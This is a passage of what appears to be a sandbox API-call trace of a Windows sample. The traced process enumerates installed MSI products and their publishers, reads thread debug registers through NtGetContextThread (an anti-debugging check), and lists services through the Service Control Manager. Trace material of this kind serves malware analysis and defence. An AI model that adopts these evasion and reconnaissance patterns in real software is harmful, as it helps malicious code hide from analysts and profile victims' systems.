lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.095] MsiEnumProductsA (in: iProductIndex=0x16, lpProductBuf=0x3a70000 | out: lpProductBuf="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}") returned 0x0 [0112.095] MsiGetProductInfoA (in: szProduct="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.096] MsiEnumProductsA (in: iProductIndex=0x17, lpProductBuf=0x3a70000 | out: lpProductBuf="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 0x0 [0112.097] MsiGetProductInfoA (in: szProduct="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.097] MsiEnumProductsA (in: iProductIndex=0x18, lpProductBuf=0x3a70000 | out: lpProductBuf="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}") returned 0x0 [0112.098] MsiGetProductInfoA (in: szProduct="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.098] MsiEnumProductsA (in: iProductIndex=0x19, lpProductBuf=0x3a70000 | out: lpProductBuf="{4A03706F-666A-4037-7777-5F2748764D10}") returned 0x0 [0112.099] MsiGetProductInfoA (in: szProduct="{4A03706F-666A-4037-7777-5F2748764D10}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle, Inc.", pcchValueBuf=0x18f350) returned 0x0 [0112.100] MsiEnumProductsA (in: iProductIndex=0x1a, lpProductBuf=0x3a70000 | out: lpProductBuf="{4A03706F-666A-4037-7777-5F2748764D10}") returned 0x103 [0112.100] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.100] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.100] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.100] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.100] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.101] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.101] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.101] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.101] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.101] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.101] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.101] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.102] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.103] LoadLibraryA (lpLibFileName="shell32") returned 0x76260000 [0112.107] LoadLibraryA (lpLibFileName="shell32") returned 0x76260000 [0112.108] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0112.108] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0112.108] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0112.114] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.115] OpenSCManagerA (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2a7ee0 [0112.120] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0112.126] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.127] EnumServicesStatusA (in: hSCManager=0x2a7ee0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x3a7000c, cbBufSize=0x3e800, pcbBytesNeeded=0x3a70008, lpServicesReturned=0x3a70004, lpResumeHandle=0x3a70000 | out: lpServices=0x3a7000c*(lpServiceName=0x342d4136, lpDisplayName=0x2d373330, ServiceStatus.dwServiceType=0x37373737, ServiceStatus.dwCurrentState=0x3246352d, ServiceStatus.dwControlsAccepted=0x37383437, ServiceStatus.dwWin32ExitCode=0x31443436, ServiceStatus.dwServiceSpecificExitCode=0x7d30, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x3a70008, lpServicesReturned=0x3a70004, lpResumeHandle=0x3a70000) returned 0 [0112.132] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0112.132] CloseServiceHandle (hSCObject=0x2a7ee0) returned 1 [0112.135] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.141] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, 